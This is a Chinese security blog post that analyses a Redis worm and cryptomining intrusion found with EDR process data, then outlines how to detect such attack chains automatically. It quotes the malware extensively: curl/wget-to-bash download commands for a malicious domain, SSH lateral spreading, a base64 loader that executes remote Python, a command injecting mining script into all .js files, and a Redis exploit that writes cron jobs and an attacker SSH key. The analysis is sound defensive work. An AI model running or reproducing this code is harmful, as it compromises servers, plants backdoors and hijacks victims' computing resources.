攻击链分析标准化

bt0sea 系统安全 2019年9月30日发布
Favorite收藏

导语:攻击链分析是最近比较火的话题,但是ATT&CK攻击模型是针对APT总结出来的,现实当中哪有那么多APT攻击?所以,很多厂商在探索处理日常碰到的针对性攻击。把检测到的安全监控点事件串联起来,形成攻击链。当然需要经过应急响应团队二次评估。

0x00、前言

攻击链分析是最近比较火的话题,但是ATT&CK攻击模型是针对APT总结出来的,现实当中哪有那么多APT攻击?所以,很多厂商在探索处理日常碰到的针对性攻击。把检测到的安全监控点事件串联起来,形成攻击链。当然需要经过应急响应团队二次评估。

0x01、人工分析

攻击链分析要从实际的攻击案例分析开始,所以,第一步我们要通过人工分析了解黑客入侵的来龙去脉。

做人工分析也需要有基础数据收集:

1、资产指纹功能是EDR(endpoint detection response)产品重要的功能,通过对进程、网络连接等基础数据的收集,为进一步安全场景分析提高数据支撑。

2、登陆流水,对分析暴力破解成功等账号风险问题有很大帮助。

3、网络层五元组、VPC log、一段时间内的pcap包。

4、http/https对外Post请求。

首先,我们先从主机层面进程、网络信息开始,至少需要收集以下基础信息:

"process_info": {
  "path": "/alidata/server/httpd/bin/httpd",
  "pid": 11095,
  "name": "httpd",
  "start-time": 2019-09-27 09:43:05,
  "cmdline": "/alidata/server/httpd/bin/httpd -k start",
  "username": "daemon",
  "groupname": "daemon",
  "cpu": 8.1,
  "md5": "4dcb56b10fa7f80891b06feebf0b5fbb",
  "ppid": 1360,
},
"socket_info": {
  "remoteport": 6381,
  "socktype": TCP,
  "pid": 10599,
  "name": "java",
  "remoteaddr": "192.168.171.30",
  "localaddr": "10.207.249.48",
  "status": "ESTABLISHED",
  "start-time": 2019-09-27 09:43:05,
  "localport": 53174,
},

我们在搜索process_info.cmdline字段中发现:

/bin/sh -c (curl -s http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O – http://www.jukesxdbrxd.xyz/hehe.sh)|bash -sh

下载了hehe.sh,因为内容比较多我就不完全显示(大部分代码是干掉竞争对手的进程、或者网络连接),分析几块比较有意思的代码段:

1、伪装SSH下载hehe.sh恶意脚本。

ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print 2}'|xargs kill -9
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in (grep -oE "\b([0-9]{1,3}.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2>&1 &' & done
fi

2、下载内部探测恶意脚本

function e() {
	nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovL3d3dy5qdWtlc3hkYnJ4ZC54eXovc3MzLnB5Jwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
	touch /tmp/.38t9guft0055d0565u444gtjr5
}

if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr5" ]; then
	e
fi

上面代码中base64解密后是:

#coding: utf-8
import urllib
import base64

d= 'http://www.jukesxdbrxd.xyz/ss3.py'
try:
    page=base64.b64decode(urllib.urlopen(d).read())
    exec(page)
except:
    pass

3、插入挖矿脚本

这招实在太黑了,向本机所有符合条件的.js文件中写入挖矿脚本。

find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"61adfe72ae314d8f86532b3cd1c60bda\",\"-1\"\)\</script\>\'\)\;
http://t.cn/EvlonFh 访问后URL:

wk.png

同时下载了http://www.jukesxdbrxd.xyz/ss3.py 进行分析。

1、redis未授权访问扫描功能

def get_ip_list():
    try:
        url = 'ifconfig.co/ip'
        conn = httplib.HTTPConnection(url, port=80, timeout=10)
        conn.request(method='GET', url='/', )
        result = conn.getresponse()
        ip1 = result.read()
        ips1 = findall(r'\d+.\d+.', ip1)[0]
        for u in range(0, 256):
            ip_list1 = (ips1 + (str(u)))
            for g in range(1, 256):
                IP_LIST.append(ip_list1 + '.' + (str(g)))
    except Exception:
        ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()
        ips2 = findall(r'\d+.\d+.', ip2)[0]
        for i in range(0, 255):
            ip_list2 = (ips2 + (str(i)))
            for g in range(1, 255):
                IP_LIST.append(ip_list2 + '.' + (str(g)))
        pass
def get_ip_list2():
    not_valid = [10,127,169,172,192]
    for i in range(0, 100000):
        first = randrange(1,227)
        while first in not_valid:
            first = randrange(1,227)
        ip = ".".join([str(first),str(randrange(0,256)),
        str(randrange(0,256)),str(randrange(0,256))])
        IP_LIST.append(ip)
def runPortscan():
    for x in range(99999):
        get_ip_list2()
        for host in IP_LIST:
            scanner.lck.acquire()
            if len(scanner.tlist) >= scanner.maxthreads:
                scanner.lck.release()
                scanner.evnt.wait()
            else:
                scanner.lck.release()
            scanner.newthread(host)
        for t in scanner.tlist:
            t.join()

在主机上的执行结果:

netstat -antup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN      7506/0          
tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN      7743/1          
tcp        0      0 127.0.0.1:6012          0.0.0.0:*               LISTEN      7845/2          
tcp        0      1 10.0.0.26:56082         207.158.88.30:6379      SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:54058         61.x.166.211:6379     SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:42164         33.x.249.227:6379     SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:52206         25.x.45.0:6379        SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:36772         210.x.3.9:6379         SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:60696         70.186.8.29:6379        SYN_SENT    
...(省略,后面还有很多)
tcp        0     16 10.0.0.26:54142         115.230.124.187:6379    ESTABLISHED 7999/python         
tcp        0      0 10.0.0.26:22            106.38.115.24:12957     ESTABLISHED 7845/2              
tcp        0      0 10.0.0.26:22            106.38.115.24:12955     ESTABLISHED 7506/0

2、如果存在redis权限,拷贝sshkey到目标主机。通过redis导出文件方式增加C2的秘钥。

 SKEY="\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBoaGW7s5jkS7HBHz3S007pxTSSjuF16E2UBoDYBG3xrOVTf504K82It6RncEp8jEN5LxoePNGDatJYEsRLSyRyUuGDp1jdBW/yTa5dMQm/29UQ7VDvqF40CN44wemG0edFHxBLLSmNBgPfapuumePxSbLVTlEUb5tpEqiTADx30KFZtKTt1ov549iF4Uw/jLRCP80zPqmZgeUxGRt/jM3LnvJ1W1M2S2BLFbHovMuLRFKg8FCUrEe23V+6Vp4l7A4SgwxQ+4O4JKlZIoiaG7HkC0jhDVdeU9RdvI4uAaBSMed8fgmvFpBVXbG5aGHuYNiODWYiaWGQeCyK0ua+g5N [email protected]\\n#"
        try:
            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.settimeout(3)
            x = s2.connect_ex((self.host, 6379))
            if x == 0:
                DFDIR=DFRDB='N/A'
                stt1=stt2=stt3=stt4=stt5=-9
                tmp=rd(s2, 'config get dir\r\n')
                if "Authentication required" in str(tmp): stt1=-10
                elif "-ERR unknown command" not in str(tmp):
                    if 'dir' in str(tmp): DFDIR=(tmp.split('dir'))[1].splitlines()[2]
                    tmp=rd(s2, 'config get dbfilename\r\n')
                    if 'dbfilename' in str(tmp): DFRDB=(tmp.split('dbfilename'))[1].splitlines()[2]
                    rs=rd(s2, 'config set dbfilename root\r\n')
                    if "+OK" in str(rs):
                        rs=rd(s2, 'config set rdbcompression no\r\n')
                        if "+OK" in str(rs):
                            write=rd(s2, 'flushall\r\n')
                            if "write against a read only" in str(write):
                                rd(s2, 'SLAVEOF NO ONE\r\n')
                                write=rd(s2, 'flushall\r\n')
                            if "write against a read only" not in str(write):
                                K1=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))
                                K2=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))
                                K3=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))
                                CF=''.join(random.choice(string.lowercase) for x in range(random.randint(6, 18)))
                                rs=rd(s2, 'config set stop-writes-on-bgsave-error no\r\n')
                                #rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n')
                                rs=rd(s2, 'set '+K2+' "'+C2+'"\r\n')
                                apt=chkdir(s2, '/usr/share/bug/apt/')
                                if apt == -4:
                                    fml='N.'
                                    stt1=chkdir(s2, '/var/spool/cron')
                                else:
                                    fml='Debian.'
                                    stt1=chkdir(s2, '/var/spool/cron/crontabs')
                                pine=chkdir(s2, '/etc/crontabs')
                                rs=rd(s2, 'del '+K2+'\r\n')
                                rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n')
                                rs=rd(s2, 'config set dbfilename .'+CF+'\r\n')
                                stt2=chkdir(s2, '/etc/cron.d')
                                rs=rd(s2, 'config set dbfilename crontab\r\n')
                                stt22=chkdir(s2, '/etc')
                                if stt2 < 2: stt2=stt22
                                rs=rd(s2, 'del '+K1+'\r\n')
                                rs=rd(s2, 'config set dbfilename authorized_keys\r\n')
                                rs=rd(s2, 'set '+K3+' "'+SKEY+'"\r\n')
                                stt3=chkdir(s2, '/root/.ssh')
                                stt4=chkdir(s2, '/home/ubuntu/.ssh')
                                #time.sleep(1)
                                rs=rd(s2, 'del '+K3+'\r\n')
                            rs=rd(s2, 'config set rdbcompression yes\r\n')
                            rs=rd(s2, 'config set stop-writes-on-bgsave-error yes\r\n')
                        if "cron" not in str(DFDIR) and ".ssh" not in str(DFDIR):
                            rs=rd(s2, 'config set dir '+DFDIR+'\r\n')
                            rs=rd(s2, 'config set dbfilename '+DFRDB+'\r\n')
                        else:
                            rs=rd(s2, 'config set dir /var/lib/redis\r\n')
                            rs=rd(s2, 'config set dbfilename dump.rdb\r\n')
            s2.close()
        except Exception:
            pass
        
        scanner.lck.acquire()
        scanner.tlist.remove(self)
        if len(scanner.tlist) < scanner.maxthreads:
            scanner.evnt.set()
            scanner.evnt.clear()
        scanner.lck.release()

3、建立外联下载恶意软件通道。

 def run(self):
        RHOST='http://jukesxdbrxd.xyz/'
        CHKCURL='tbin=$(command -v passwd); bpath=$(dirname \\"${tbin}\\"); curl=\\"curl\\"; if [ $(curl --version 2>/dev/null|grep \\"curl \\"|wc -l) -eq 0 ]; then curl=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"CURLOPT_VERBOSE\\" && curl=\\"$f\\" && break; done; fi; fi; wget=\\"wget\\"; if [ $(wget --version 2>/dev/null|grep \\"wgetrc \\"|wc -l) -eq 0 ]; then wget=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"to <[email protected]>\\" && wget=\\"$f\\" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i \\".onion.\\"|wc -l) -ne 0 ]; then echo \\"127.0.0.1 localhost\\" > /etc/hosts >/dev/null 2>&1; fi; '
        RPATH1='hehe.sh'
        TIMEOUT='40'
        COPTS='-fsSLk --max-time '+TIMEOUT
        WOPTS='--quiet --no-check-certificate --timeout='+TIMEOUT
        C1='\\n\\n*/1 * * * * root ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n'
        C2='\\n\\n*/1 * * * * ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n'

在主机上的执行结果:

[email protected]:~# netstat -antup |grep EST
tcp        0     36 10.0.0.26:22            106.38.115.24:12956     ESTABLISHED 7743/1   
tcp        0      0 10.0.0.26:22            106.38.115.24:12957     ESTABLISHED 7845/2   
tcp        0      0 10.0.0.26:22            106.38.115.24:12955     ESTABLISHED 7506/0

0x02、分析自动化

我们大致了解了黑客程序入侵手段,那么我们如何自动化整个查询过程。

异常获取:

1、清洗所有进程cmdline数据,去除到空字段等异常情况。

2、把所有进程cmdline数据归一化。

3、与7天白名单基线对比,筛选出不在基线中的进程cmdline

4、提取存在主机安全告警的cmdline数据,清洗后,进行相识度对比,curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2

5、在网络流程层提取POST流量,,<?xml version=”1.0” <string>curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh|bash </string>

6、经过误报处理后,发现的告警就是我们想要的。

本文为 bt0sea 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://www.4hou.com/system/20596.html
点赞 2
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论